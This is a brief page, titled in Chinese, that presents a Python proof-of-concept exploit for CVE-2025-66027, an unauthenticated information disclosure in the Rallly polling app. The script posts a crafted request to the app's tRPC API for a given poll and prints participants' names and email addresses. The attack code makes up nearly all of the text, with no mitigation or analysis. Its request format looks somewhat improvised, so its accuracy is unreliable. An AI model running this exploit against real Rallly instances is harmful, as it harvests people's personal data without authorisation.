CVE-2025-66027 Rallly信息泄露漏洞

import requests import json # CVE-2025-66027 PoC - Rallly Information Disclosure # Target: Rallly < 4.5.6 # Vulnerability: Unauthenticated access to participant details via API def exploit_rallly(target_url, poll_id): """ Exploit the information disclosure vulnerability in Rallly to retrieve participant details without authentication. """ endpoint = f"{target_url}/api/trpc/polls.get,polls.participants.list" # Construct the API request payload payload = { "batches": [{ "path": ["polls.get", "polls.participants.list"], "json": { "pollId": poll_id } }], "where": [{}], "orderBy": [] } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Extract participant information from response if "data" in data and len(data["data"]) > 0: participants = data["data"][0].get("participants", []) print(f"[+] Found {len(participants)} participants:") for p in participants: print(f" - Name: {p.get('name', 'N/A')}") print(f" Email: {p.get('email', 'N/A')}") return participants else: print(f"[-] Request failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None # Usage example if __name__ == "__main__": TARGET = "https://rallly.example.com" POLL_ID = "your-poll-id-here" exploit_rallly(TARGET, POLL_ID)